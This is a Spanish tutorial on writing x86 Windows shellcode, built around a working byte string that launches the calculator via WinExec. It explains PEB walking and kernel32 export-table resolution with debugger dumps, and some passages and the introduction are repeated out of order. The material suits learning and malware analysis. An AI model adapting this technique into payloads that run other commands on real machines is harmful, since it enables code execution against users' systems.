Buenas a todos,
En este pequeño tutorial, voy a intentar explicar y mostrar con ejemplos como crear shellcode tanto en binarios de x86, y posteriormente crearé una entrada para ejemplos en binarios en x64.
Este tutorial esta basado en la parte 6 de los tutoriales de Ricardo Narvaja de uso de herramientas de exploiting gratuitas y el tutorial de desarrollo de malware de ZeroPad, así que si os gusta las gracias a ellos.
Partimos de una shellcode que vamos a detallar, para explicar como funciona, y los componentes de la misma. Para ello hemos creado un binario donde se ejecuta únicamente esta shellcode para que nos sea mas fácil a la hora de analizarla.
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
La shellcode anterior, ejecuta una calculadora en Windows a través del uso de la función WinExec(), vamos a ir desgranando los distintos componentes de la shellcode....
En la siguiente imagen tenemos una imagen de la shellcode vista en x64dbg:
Seguidamente hacemos uso de los registros de segmento y nos vamos a la posición [fs +0x30], en esta dirección tenemos la dirección del Process Enviroment Block (PEB), Hacemos esto porque necesitamos encontrar las función WinExec() que se encuentra en una de las librerías cargadas en el ejecutable (kernel32) y a través del PEB se puede obtener acceso a las tablas de importación (IAT).
Los pasos que vamos a seguir en nuestra shellcode son los siguientes:
Ahora vamos a ver los campos de la estructura TEB, indicándole la dirección base de la cual estamos partiendo, para que WinDBG así nos muestre los valores de la estructura:
Del comando anterior hemos obtenido que LDR apunta a la dirección 0x774f0200 --> Ldr : 0x774f0200 [Type: _PEB_LDR_DATA *]
Como teníamos que el PEB comenzaba en la dirección 0x7efde000 , si le sumamos el offset donde se encuentra el LDR, debemos de tener la misma información que la obtenida con el comando anterior.
Por lo que ya sabemos que la estructura LDR del tipo _PEB_LDR_DATA comienza en la dirección 774f0200 .
Vemos que nuestra shellcode ejecuta el siguiente codigo ensamblador para obtener la dirección de LDR:
O con la dirección obtenida mas el offset (0xC) tendrá la dirección de _LIST_ENTRY:
En la offset 0x0, tenemos la dirección de la siguiente librería que está cargada, tal y como representa la siguiente imagen de como funcionan las listas enlazadas que me proporcionaron @farenain y @DSTN_Gus cuando estaba repasando el tutorial de ricardo.
A nosotros no interesa sacar la dirección base de la DLL, para ello nos tenemos que irnos al offset 0x18. ya que vamos buscando la dirección base de Kernel32.dll.
Partimos de la dirección donde empezaba la primera estructura LDR_DATA_TABLE_ENTRY: 0x573408, por lo tanto en la dirección 0x573408 + 0x18 tenemos que tener un puntero a la dirección donde esta la base de nuestra DLL. En este caso 0x00400000
Con el comando "lm" podemos ver el listado de modulos que estan cargados y comprobar esa dirección base a que modulo se refier, en este caso: a ConsoloApplication4:
0:000> lm
start end module name
00400000 0041c000 ConsoleApplication4 C (no symbols)
74b00000 74b0c000 CRYPTBASE (deferred)
74b10000 74b70000 SspiCli (deferred)
758a0000 7596e000 MSCTF (deferred)
75b90000 75ca0000 kernel32 (deferred)
75e00000 75e0a000 LPK (deferred)
76090000 76190000 USER32 (deferred)
76870000 76889000 sechost (deferred)
76910000 76a00000 RPCRT4 (deferred)
76a10000 76a57000 KERNELBASE (deferred)
76b70000 76c1c000 msvcrt (deferred)
76c30000 76ccd000 USP10 (deferred)
76e70000 76f00000 GDI32 (deferred)
76f00000 76fa1000 ADVAPI32 (deferred)
76fb0000 77010000 IMM32 (deferred)
773f0000 77570000 ntdll (pdb symbols)
Que de la lista anterior obtenida con el comando "lm" podemos ver que se refiere a ntdll. y asi podemos ir avanzando viendo todos los módulos listados, vemos que después de cargar el ntdll carga kernel32.dll
Por lo tanto:
0:000> lm
start end module name
00400000 0041c000 ConsoleApplication4 C (no symbols)
74b00000 74b0c000 CRYPTBASE (deferred)
74b10000 74b70000 SspiCli (deferred)
758a0000 7596e000 MSCTF (deferred)
75b90000 75ca0000 kernel32 (deferred)
Para llegar hasta la dirección base de kernel32.dll en la shellcode tenemos que saltar a la tercera estructura LDR_DATA_TABLE_ENTRY y para ello tenemos las siguientes instrucciones en ensamblador:
mov esi,dword ptr ds:[esi+C] --> Accedemos al puntero que apunta a la primera estructura LDR_DATA_TABLE_ENTRY (Correspondiente a ConsoleApplication4 )
lodsd --> Saltamos a la segunda estructura LDR_DATA_TABLE (correspondiente a NTDLL)
mov esi,dword ptr ds:[eax] --> Finalmente accedemos a la estructura que nos interesa que es la de Kernel32.dll.
Otra forma de comprobar si estamos en el módulo que nos interesa, es chequeando el campo FullDllName (+0x24), que es del tipo _UNICODE_STRING.
Si echamos un vistazo a la estructura _UNICODE_STRING vemos que esta formada por los siguientes campos:
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
A nosotros nos interesa el puntero a la dirección del buffer, como los 2 primeros campos son del tipo USHORT que tienen
un tamaño de 2 bytes cada uno. Por lo tanto para acceder al campo Buffer, será necesario irnos al offset 0x24
(inicio de la estructura unicode_string) + 0x4 = 0x28.
0:000> dp 00573818 + 0x28 00573840 005737b8 001a0018 004a37e0 80084004 00573850 0000ffff 774f48a0 774f48a0 5ddf3fc3 00573860 00000000 00000000 004a4b30 004a4b30 00573870 004a3870 004a3870 004a39e8 004a38a8 00573880 7742ef40 7dd60000 9b63f534 01d5bcab 00573890 abababab abababab 00000000 00000000 005738a0 0d5eb1c0 1800602d 004a3878 004a39e8 005738b0 004a3498 00000002 abababab abababab
Por lo tanto si mostramos la dirección 0x5737b8 debe de contener la el nombre de la dll que estamos mirando:
0:000> db 005737b8
005737b8 43 00 3a 00 5c 00 57 00-69 00 6e 00 64 00 6f 00 C.:.\.W.i.n.d.o.
005737c8 77 00 73 00 5c 00 73 00-79 00 73 00 77 00 6f 00 w.s.\.s.y.s.w.o.
005737d8 77 00 36 00 34 00 5c 00-6b 00 65 00 72 00 6e 00 w.6.4.\.k.e.r.n.
005737e8 65 00 6c 00 33 00 32 00-2e 00 64 00 6c 00 6c 00 e.l.3.2...d.l.l.
005737f8 00 00 ab ab ab ab ab ab-ab ab ee fe ee fe ee fe ................
00573808 00 00 00 00 00 00 00 00-d7 b1 5e 1a 33 60 00 18 ..........^.3`..
00573818 30 39 4a 00 98 34 4a 00-38 39 4a 00 a0 34 4a 00 09J..4J.89J..4J.
00573828 88 46 4a 00 40 39 4a 00-00 00 b9 75 46 33 ba 75 [email protected]
Ya estamos en el módulo que buscamos, ahora nos vamos a ir a la dirección base de la DLL,que se extrae como hemos visto anteriormente.
db 75b90000
75b90000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
75b90010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
75b90020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
75b90030 00 00 00 00 00 00 00 00-00 00 00 00 e8 00 00 00 ................
75b90040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
75b90050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
75b90060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
75b90070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......
En nuestra shellcode para obtener la dirección base de Kernel32.dll ejecutamos el siguiente código ensamblador:
mov edi,dword ptr ds:[esi+18]
**************************************************************************
Ahora hacemos un pequeño inciso que vendrá bien para comprender la siguiente parte de nuestra shellcode.
****************************BLOQUE DE TEORÍA*****************************
Vamos a hacer un pequeño inciso en el tutorial, para explicar una parte que nuestra shellcode va a hacer uso, dentro de la tabla de exportaciones de una DLL, esta documentación es basada en gran parte en el tute de @Zeropad2000, estoy intentando juntar toda la información que yo he usado para entenderlo en un solo documento para que así, sea mas fácil su compresión.
Tabla de exportaciones:
0000 Dword Characteristics Set to zero (currently none defined)
0004 Dword TimeDateStamp Often set to zero
0008 Word MajorVersion User-defined version number
000A Word MinorVersion As above
000C Dword Name RVA of DLL name (null-terminated ASCII)
0010 Dword Base First valid exported ordinal
0014 Dword NumberOfFunctions Number of entries in EAT
0018 Dword NumberOfNames Number of entries in ENT
001C Dword AddressOfFunctions RVA of EAT (export address table)
0020 Dword AddressOfNames RVA of ENT (export name table)
0024 Dword AddressOfNameOrdinals RVA of EOT (export ordinal table)
De esta estructura, nos interesan las 3 ultimas tablas:
• AddressOfFunctions: contiene la dirección (RVA) de un listado (arreglo) de punteros (RVA’s) a las funciones exportadas por esta librería
• AddressOfNames: contiene la dirección (RVA) de un listado (arreglo) de punteros dirigidos a los nombres de las funciones exportadas
• AddressOfNameOrdinals: RVA que apunta a un listado (arreglo) que contiene los ordinales de los nombres de las funciones exportadas
Quizá es mas fácil con un ejemplo, suponemos que estamos mirando la libreria "Test.dll" y la función que estamos buscando es "MessageBoxA".
Tenemos que empezar por la tabla AddressOfNames (raw offset = 0x20 desde la tabla de exportaciones) , la cual contiene un listado de punteros a direcciones de memoria (RVA’s) donde están guardados lo nombres de las funciones exportadas:
De la primera tabla una vez obtenemos el contador de donde se encuentra la dirección de la funcion con el nombre "MessageBoxA" desde el inicio de la tabla, Ahora con ese valor nos vamos a la segunda tabla (addressOfNameOrdinals), para eso tenemos que multiplicar el contador por dos, esto es por que cada dirección de AddressOfNameOrdinals ocupa 2 bytes, o sea que por ejemplo el tercer valor que tenia el contador, en esta tabla lo vamos a encontrar en la posición 3 * 2 = 0x6.
**************************************************************************
Retomamos con nuestra shellcode, ahora vamos a abrir Kernel32.dll con el software PEView para ver que es lo que vamos a ir extrayendo de dicha DLL.
En la shellcode se ejecuta la siguiente instrucción:
mov ebx,dword ptr ds:[edi+3C] --> En esta posición tenemos el offset a la cabecera PE del ejecutable tal y como vemos en la siguiente imagen del PEView.
Vemos que el valor es E8, por lo tanto nos desplazamos ese offset para alcanzar el inicio de la cabecera PE que nosotros almacenamos en ebx.
Luego nuestra shellcode ejecuta el siguiente código ensamblador:
mov ebx,dword ptr ds:[edi+ebx+78] --> Obtenemos la dirección del EXPORT Table, ya que esta se encuentra en el offset 160 que es igual a Direccion Base(edi) +E8(ebp) +78.
De ese ofsett sacamos el offset de ImagenExportDirectory (0xC02CC) que con el PEView podemos observar que se refiere a dentro de la sección .text > ImagenExportDirectory. En nuestro caso guardamos ese valor en ebx.
El siguiente comando que se ejecuta en la shellcode es:
mov esi,dword ptr ds:[edi+ebx+20]--> donde se desplaza 0x20 desde esa dirección accediendo al campo NamePointerTableRVA ( o AddressOfNames como le hemos llamado en teoría), tal y como vemos en la siguiente imagen extraída con PEView ya que C02CC+0x20 = 0xC02EC
Luego en la shellcode viene el siguiente comando, para sumarle la dirección base de donde esta cargada la DLL.
add esi,edi --> Suma ESI (C1848) + la EDI (dirección base de nuestra DLL) y accedemos a la tabla de nombre de exportaciones, tal y como muestra la siguiente imagen y lo guarda en el registro ESI:
mov ecx,dword ptr ds:[edi+ebx+24] --> Luego en la shellcode se ejecuta este comando para obtener el Ordinal Table RVA ( o AddressOfNameOrdinals como le hemos llamado en teoría) y guardarlo en el registro ecx.
add ecx,edi --> Suma ECX (C2D9C) + la EDI (direccion base de nuestra DLL) y accedemos a la tabla de Ordinales de exportaciones, tal y como muestra la siguiente imagen y lo guarda en el registro ECX:
Una vez tenemos estos valores nuestra shellcode entra en una rutina importante:
movzx ebp,word ptr ds:[ecx+edx*2]
inc edx
lodsd
cmp dword ptr ds:[edi+eax],456E6957
jne shellcode_calc.401335
Donde se recorrerán estas tablas que hemos mencionado e irán calculado los contadores de donde se encuentra la función WinExec() que es la que estamos buscando.
Comparamos "EniW" ---> ya que vamos buscando la función WinExec() y los primeros 4 bytes son esos:
En las primeras instrucciones, donde EDX lo usan como contador de la primera tabla (inicializada a 0) y ebp extrae el valor que sacaremos de AddressOfNameOrdinals y que usaremos en la tercera tabla.
movzx ebp,word ptr ds:[ecx+edx*2] --> se multiplica por 2 por lo explicado en teoría
inc edx
y luego se comprueba si esa función es WinExec para ello carga el contenido de ESI en EAX lo compara con "EniW"
lodsd
cmp dword ptr ds:[edi+eax],456E6957
jne shellcode_calc.401335
Cuando termina esta rutina obtenemos los siguientes valores:
Comprobamos que es correcto y que en el valor ordinal de la funcion WinExec es 518 (ebp).
Ahora extrae el valor de la tercera tabla Address Table RVA, para ello ejecuta el siguiente comando:
mov esi,dword ptr ds:[edi+ebx+1C] --> en EDI + EBX teníamos C02CC que era ImagenExportDirectory y le sumamos 0x1C dando lugar a 0xC02E8
add esi,edi --> Suma ESI (0xC02E8) + la EDI (dirección base de nuestra DLL) y accedemos a la dirección de la funciones tal y como muestra la siguiente imagen y lo guarda en el registro ESI:
Y por último una vez tenemos ya la dirección de la tabla y debido a que esta tabla esta formado por campos del tipo doubleword , debemos de multiplicar por 4 el valor obtenido.
add edi,dword ptr ds:[esi+ebp*4]
En EDI tendremos la dirección del WinExec() y con el siguiente comando en ensamblador llamaremos a la función:
call edi
Llamaremos a esa función con los parámetros que hay en la pusheados en pila que como vimos al principio del tutorial.
UINT WinExec( LPCSTR lpCmdLine, UINT uCmdShow );
Cogerá el puntero a la pila donde pusheamos la cadena "calc" y el valor 0, vuelvo a poner la imagen del principio para que sea mas fácil de ver.
Y hasta aquí el diseño/explicación de la shellcode, espero que os ayude al menos la mitad de lo que me ha servido a mi redactarlo.
En este pequeño tutorial, voy a intentar explicar y mostrar con ejemplos como crear shellcode tanto en binarios de x86, y posteriormente crearé una entrada para ejemplos en binarios en x64.
Este tutorial esta basado en la parte 6 de los tutoriales de Ricardo Narvaja de uso de herramientas de exploiting gratuitas y el tutorial de desarrollo de malware de ZeroPad, así que si os gusta las gracias a ellos.
Partimos de una shellcode que vamos a detallar, para explicar como funciona, y los componentes de la misma. Para ello hemos creado un binario donde se ejecuta únicamente esta shellcode para que nos sea mas fácil a la hora de analizarla.
winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
La shellcode anterior, ejecuta una calculadora en Windows a través del uso de la función WinExec(), vamos a ir desgranando los distintos componentes de la shellcode....
En la siguiente imagen tenemos una imagen de la shellcode vista en x64dbg:
La shellcode comienza limpiando el registro edx (edx=0), y pusheando el registro en la pila, (esto es para indicar el final de cadena), seguidamente pushea la cadena ("clac") en la pila, por el tema de Little Endiad/Big endian en memoria estará guardada la cadena "calc", luego guarda el dirección de la pila donde tenemos la cadena "calc" (esp) en el registro esi y posteriormente pushea en la pila "0" y la dirección de la cadena "calc", que estaba almacenado en esi. Quedando la pila de la siguiente manera:
Seguidamente hacemos uso de los registros de segmento y nos vamos a la posición [fs +0x30], en esta dirección tenemos la dirección del Process Enviroment Block (PEB), Hacemos esto porque necesitamos encontrar las función WinExec() que se encuentra en una de las librerías cargadas en el ejecutable (kernel32) y a través del PEB se puede obtener acceso a las tablas de importación (IAT).
Los pasos que vamos a seguir en nuestra shellcode son los siguientes:
TEB->PEB->Ldr->InMemoryOrderLoadList->currentProgram->ntdll->kernel32.BaseDllAbrimos con WinDBG nuestra shellcode y echamos un vistazo al TEB, en WinDBG para ver información de TEB ó PEB podemos hacerlo ejecutando "dt" más el nombre de lo que queremos ver con "_" delante.0:000> dt _teb ntdll!_TEB +0x000 NtTib : _NT_TIB +0x01c EnvironmentPointer : Ptr32 Void +0x020 ClientId : _CLIENT_ID +0x028 ActiveRpcHandle : Ptr32 Void +0x02c ThreadLocalStoragePointer : Ptr32 Void +0x030 ProcessEnvironmentBlock : Ptr32 _PEB +0x034 LastErrorValue : Uint4B +0x038 CountOfOwnedCriticalSections : Uint4B +0x03c CsrClientThread : Ptr32 Void +0x040 Win32ThreadInfo : Ptr32 Void +0x044 User32Reserved : [26] Uint4B +0x0ac UserReserved : [5] Uint4B +0x0c0 WOW32Reserved : Ptr32 Void +0x0c4 CurrentLocale : Uint4B +0x0c8 FpSoftwareStatusRegister : Uint4B +0x0cc SystemReserved1 : [54] Ptr32 Void +0x1a4 ExceptionCode : Int4B +0x1a8 ActivationContextStackPointer : Ptr32 _ACTIVATION_CONTEXT_STACK +0x1ac SpareBytes : [36] UChar +0x1d0 TxFsContext : Uint4B +0x1d4 GdiTebBatch : _GDI_TEB_BATCH +0x6b4 RealClientId : _CLIENT_ID +0x6bc GdiCachedProcessHandle : Ptr32 Void +0x6c0 GdiClientPID : Uint4B +0x6c4 GdiClientTID : Uint4B +0x6c8 GdiThreadLocalInfo : Ptr32 Void +0x6cc Win32ClientInfo : [62] Uint4B +0x7c4 glDispatchTable : [233] Ptr32 Void +0xb68 glReserved1 : [29] Uint4B +0xbdc glReserved2 : Ptr32 Void +0xbe0 glSectionInfo : Ptr32 Void +0xbe4 glSection : Ptr32 Void +0xbe8 glTable : Ptr32 Void +0xbec glCurrentRC : Ptr32 Void +0xbf0 glContext : Ptr32 Void +0xbf4 LastStatusValue : Uint4B +0xbf8 StaticUnicodeString : _UNICODE_STRING +0xc00 StaticUnicodeBuffer : [261] Wchar +0xe0c DeallocationStack : Ptr32 Void +0xe10 TlsSlots : [64] Ptr32 Void +0xf10 TlsLinks : _LIST_ENTRY +0xf18 Vdm : Ptr32 Void +0xf1c ReservedForNtRpc : Ptr32 Void +0xf20 DbgSsReserved : [2] Ptr32 Void +0xf28 HardErrorMode : Uint4B +0xf2c Instrumentation : [9] Ptr32 Void +0xf50 ActivityId : _GUID +0xf60 SubProcessTag : Ptr32 Void +0xf64 EtwLocalData : Ptr32 Void +0xf68 EtwTraceData : Ptr32 Void +0xf6c WinSockData : Ptr32 Void +0xf70 GdiBatchCount : Uint4B +0xf74 CurrentIdealProcessor : _PROCESSOR_NUMBER +0xf74 IdealProcessorValue : Uint4B +0xf74 ReservedPad0 : UChar +0xf75 ReservedPad1 : UChar +0xf76 ReservedPad2 : UChar +0xf77 IdealProcessor : UChar +0xf78 GuaranteedStackBytes : Uint4B +0xf7c ReservedForPerf : Ptr32 Void +0xf80 ReservedForOle : Ptr32 Void +0xf84 WaitingOnLoaderLock : Uint4B +0xf88 SavedPriorityState : Ptr32 Void +0xf8c SoftPatchPtr1 : Uint4B +0xf90 ThreadPoolData : Ptr32 Void +0xf94 TlsExpansionSlots : Ptr32 Ptr32 Void +0xf98 MuiGeneration : Uint4B +0xf9c IsImpersonating : Uint4B +0xfa0 NlsCache : Ptr32 Void +0xfa4 pShimData : Ptr32 Void +0xfa8 HeapVirtualAffinity : Uint4B +0xfac CurrentTransactionHandle : Ptr32 Void +0xfb0 ActiveFrame : Ptr32 _TEB_ACTIVE_FRAME +0xfb4 FlsData : Ptr32 Void +0xfb8 PreferredLanguages : Ptr32 Void +0xfbc UserPrefLanguages : Ptr32 Void +0xfc0 MergedPrefLanguages : Ptr32 Void +0xfc4 MuiImpersonation : Uint4B +0xfc8 CrossTebFlags : Uint2B +0xfc8 SpareCrossTebBits : Pos 0, 16 Bits +0xfca SameTebFlags : Uint2B +0xfca SafeThunkCall : Pos 0, 1 Bit +0xfca InDebugPrint : Pos 1, 1 Bit +0xfca HasFiberData : Pos 2, 1 Bit +0xfca SkipThreadAttach : Pos 3, 1 Bit +0xfca WerInShipAssertCode : Pos 4, 1 Bit +0xfca RanProcessInit : Pos 5, 1 Bit +0xfca ClonedThread : Pos 6, 1 Bit +0xfca SuppressDebugMsg : Pos 7, 1 Bit +0xfca DisableUserStackWalk : Pos 8, 1 Bit +0xfca RtlExceptionAttached : Pos 9, 1 Bit +0xfca InitialThread : Pos 10, 1 Bit +0xfca SpareSameTebBits : Pos 11, 5 Bits +0xfcc TxnScopeEnterCallback : Ptr32 Void +0xfd0 TxnScopeExitCallback : Ptr32 Void +0xfd4 TxnScopeContext : Ptr32 Void +0xfd8 LockCount : Uint4B +0xfdc SpareUlong0 : Uint4B +0xfe0 ResourceRetValue : Ptr32 Void
Vemos que el TIB o también llamado TEB, contiene información acerca del hilo que se está ejecutando. Como hemos visto necesitamos acceder al PEB, que es una estructura de datos que tiene información acerca del proceso que se está ejecutando. por lo tanto tal y como vemos en el WinDBG debemos de irnos al offset 0x30.
En nuestra shellcode accedemos al PEB a través de la siguiente instrucción:
mov esi,dword ptr fs:[edx+30h] --> En esa dirección tenemos un puntero a PEB --> Ptr32 Por lo tanto guardamos la dirección de inicio de PEB, y la almacenamos en el registro esi. El siguiente objetivo es acceder al campo LDR, para ello vamos a ver con WinDBG la estructura del PEB de la misma manera de la que hemos visto el TEB para tener una idea de todos los campos de la estructura.
Antes de acceder al PEB es interesante conocer la dirección base del registro fs, es decir del TIB, para ello ejecutamos el siguiente comando:
mov esi,dword ptr fs:[edx+30h] --> En esa dirección tenemos un puntero a PEB --> Ptr32 Por lo tanto guardamos la dirección de inicio de PEB, y la almacenamos en el registro esi. El siguiente objetivo es acceder al campo LDR, para ello vamos a ver con WinDBG la estructura del PEB de la misma manera de la que hemos visto el TEB para tener una idea de todos los campos de la estructura.
Antes de acceder al PEB es interesante conocer la dirección base del registro fs, es decir del TIB, para ello ejecutamos el siguiente comando:
0:000> dg fs
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0053 7efdd000 00000fff Data RW Ac 3 Bg By P Nl 000004f3
Al ejecutar este comando, sabemos que la dirección base donde se ejecuta el hilo es 0x7efdd000, por lo tanto si sumamos la dirección base + el offset donde se encuentra el puntero al PEB (0x30) , suponemos que el puntero al inicio de la estructura PEB estará en la dirección 0x7efdd030.
Podemos determinar ver el valor con WinDBG ejecutando el siguiente comando:
0:000> dp 7efdd000 + 0x30
7efdd030 7efde000 000036b7 00000000 00000000
7efdd040 00000000 00000000 00000000 00000000
7efdd050 00000000 00000000 00000000 00000000
7efdd060 00000000 00000000 00000000 00000000
7efdd070 00000000 00000000 00000000 00000000
7efdd080 00000000 00000000 00000000 00000000
7efdd090 00000000 00000000 00000000 00000000
7efdd0a0 00000000 00000000 00000000 00000000
Por lo que el PEB estará en la dirección 7efde000, podemos hacerlo de esta manera o comprobarlo también haciendo uso del registro fs.
0:000> dp fs:[0x30]
0053:00000030 7efde000 000036b7 00000000 00000000
0053:00000040 00000000 00000000 00000000 00000000
0053:00000050 00000000 00000000 00000000 00000000
0053:00000060 00000000 00000000 00000000 00000000
0053:00000070 00000000 00000000 00000000 00000000
0053:00000080 00000000 00000000 00000000 00000000
0053:00000090 00000000 00000000 00000000 00000000
0053:000000a0 00000000 00000000 00000000 00000000
Ahora vamos a ver los campos de la estructura TEB, indicándole la dirección base de la cual estamos partiendo, para que WinDBG así nos muestre los valores de la estructura:
0:000> dt nt!_TEB 7efdd000
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
+0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
+0x034 LastErrorValue : 0x36b7
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread : (null)
+0x040 Win32ThreadInfo : (null)
+0x044 User32Reserved : [26] 0
+0x0ac UserReserved : [5] 0
+0x0c0 WOW32Reserved : 0x736e2320 Void
+0x0c4 CurrentLocale : 0xc0a
+0x0c8 FpSoftwareStatusRegister : 0
+0x0cc SystemReserved1 : [54] (null)
+0x1a4 ExceptionCode : 0n0
+0x1a8 ActivationContextStackPointer : 0x005707e0 _ACTIVATION_CONTEXT_STACK
+0x1ac SpareBytes : [36] ""
+0x1d0 TxFsContext : 0xfffe
+0x1d4 GdiTebBatch : _GDI_TEB_BATCH
+0x6b4 RealClientId : _CLIENT_ID
+0x6bc GdiCachedProcessHandle : (null)
+0x6c0 GdiClientPID : 0
+0x6c4 GdiClientTID : 0
+0x6c8 GdiThreadLocalInfo : (null)
+0x6cc Win32ClientInfo : [62] 0
+0x7c4 glDispatchTable : [233] (null)
+0xb68 glReserved1 : [29] 0
+0xbdc glReserved2 : (null)
+0xbe0 glSectionInfo : (null)
+0xbe4 glSection : (null)
+0xbe8 glTable : (null)
+0xbec glCurrentRC : (null)
+0xbf0 glContext : (null)
+0xbf4 LastStatusValue : 0xc0150008
+0xbf8 StaticUnicodeString : _UNICODE_STRING ""
+0xc00 StaticUnicodeBuffer : [261] ""
+0xe0c DeallocationStack : 0x00090000 Void
+0xe10 TlsSlots : [64] (null)
+0xf10 TlsLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0xf18 Vdm : (null)
+0xf1c ReservedForNtRpc : (null)
+0xf20 DbgSsReserved : [2] (null)
+0xf28 HardErrorMode : 0
+0xf2c Instrumentation : [9] (null)
+0xf50 ActivityId : _GUID {00000000-0000-0000-0000-000000000000}
+0xf60 SubProcessTag : (null)
+0xf64 EtwLocalData : (null)
+0xf68 EtwTraceData : (null)
+0xf6c WinSockData : (null)
+0xf70 GdiBatchCount : 0x7efdb000
+0xf74 CurrentIdealProcessor : _PROCESSOR_NUMBER
+0xf74 IdealProcessorValue : 0
+0xf74 ReservedPad0 : 0 ''
+0xf75 ReservedPad1 : 0 ''
+0xf76 ReservedPad2 : 0 ''
+0xf77 IdealProcessor : 0 ''
+0xf78 GuaranteedStackBytes : 0
+0xf7c ReservedForPerf : (null)
+0xf80 ReservedForOle : (null)
+0xf84 WaitingOnLoaderLock : 0
+0xf88 SavedPriorityState : (null)
+0xf8c SoftPatchPtr1 : 0
+0xf90 ThreadPoolData : (null)
+0xf94 TlsExpansionSlots : (null)
+0xf98 MuiGeneration : 0
+0xf9c IsImpersonating : 0
+0xfa0 NlsCache : (null)
+0xfa4 pShimData : (null)
+0xfa8 HeapVirtualAffinity : 0
+0xfac CurrentTransactionHandle : (null)
+0xfb0 ActiveFrame : (null)
+0xfb4 FlsData : 0x00575228 Void
+0xfb8 PreferredLanguages : (null)
+0xfbc UserPrefLanguages : (null)
+0xfc0 MergedPrefLanguages : (null)
+0xfc4 MuiImpersonation : 0
+0xfc8 CrossTebFlags : 0
+0xfc8 SpareCrossTebBits : 0y0000000000000000 (0)
+0xfca SameTebFlags : 0x420
+0xfca SafeThunkCall : 0y0
+0xfca InDebugPrint : 0y0
+0xfca HasFiberData : 0y0
+0xfca SkipThreadAttach : 0y0
+0xfca WerInShipAssertCode : 0y0
+0xfca RanProcessInit : 0y1
+0xfca ClonedThread : 0y0
+0xfca SuppressDebugMsg : 0y0
+0xfca DisableUserStackWalk : 0y0
+0xfca RtlExceptionAttached : 0y0
+0xfca InitialThread : 0y1
+0xfca SpareSameTebBits : 0y00000 (0)
+0xfcc TxnScopeEnterCallback : (null)
+0xfd0 TxnScopeExitCallback : (null)
+0xfd4 TxnScopeContext : (null)
+0xfd8 LockCount : 0
+0xfdc SpareUlong0 : 0
+0xfe0 ResourceRetValue : (null)
Y vemos que el valor concuerda con lo que hemos visto anteriormente, ahora nos vamos a la estructura PEB a ver sus campos e identificar LDR que es un puntero a la estructura PEB_LDR_DATA que es la que nos interesa, para ello desde WinDBG podemos hacer click en el link cuando mostrabamos el TIB y se ejecuta automáticamente el siguiente comando:
dx -r1 ((ntdll!_PEB *)0x7efde000)
((ntdll!_PEB *)0x7efde000) : 0x7efde000 [Type: _PEB *]
[+0x000] InheritedAddressSpace : 0x0 [Type: unsigned char]
[+0x001] ReadImageFileExecOptions : 0x0 [Type: unsigned char]
[+0x002] BeingDebugged : 0x1 [Type: unsigned char]
[+0x003] BitField : 0x0 [Type: unsigned char]
[+0x003 ( 0: 0)] ImageUsesLargePages : 0x0 [Type: unsigned char]
[+0x003 ( 1: 1)] IsProtectedProcess : 0x0 [Type: unsigned char]
[+0x003 ( 2: 2)] IsLegacyProcess : 0x0 [Type: unsigned char]
[+0x003 ( 3: 3)] IsImageDynamicallyRelocated : 0x0 [Type: unsigned char]
[+0x003 ( 4: 4)] SkipPatchingUser32Forwarders : 0x0 [Type: unsigned char]
[+0x003 ( 7: 5)] SpareBits : 0x0 [Type: unsigned char]
[+0x004] Mutant : 0xffffffff [Type: void *]
[+0x008] ImageBaseAddress : 0x400000 [Type: void *]
[+0x00c] Ldr : 0x774f0200 [Type: _PEB_LDR_DATA *]
[+0x010] ProcessParameters : 0x5717a0 [Type: _RTL_USER_PROCESS_PARAMETERS *]
[+0x014] SubSystemData : 0x0 [Type: void *]
[+0x018] ProcessHeap : 0x570000 [Type: void *]
[+0x01c] FastPebLock : 0x774f2100 [Type: _RTL_CRITICAL_SECTION *]
[+0x020] AtlThunkSListPtr : 0x0 [Type: void *]
[+0x024] IFEOKey : 0x0 [Type: void *]
[+0x028] CrossProcessFlags : 0x0 [Type: unsigned long]
[+0x028 ( 0: 0)] ProcessInJob : 0x0 [Type: unsigned long]
[+0x028 ( 1: 1)] ProcessInitializing : 0x0 [Type: unsigned long]
[+0x028 ( 2: 2)] ProcessUsingVEH : 0x0 [Type: unsigned long]
[+0x028 ( 3: 3)] ProcessUsingVCH : 0x0 [Type: unsigned long]
[+0x028 ( 4: 4)] ProcessUsingFTH : 0x0 [Type: unsigned long]
[+0x028 (31: 5)] ReservedBits0 : 0x0 [Type: unsigned long]
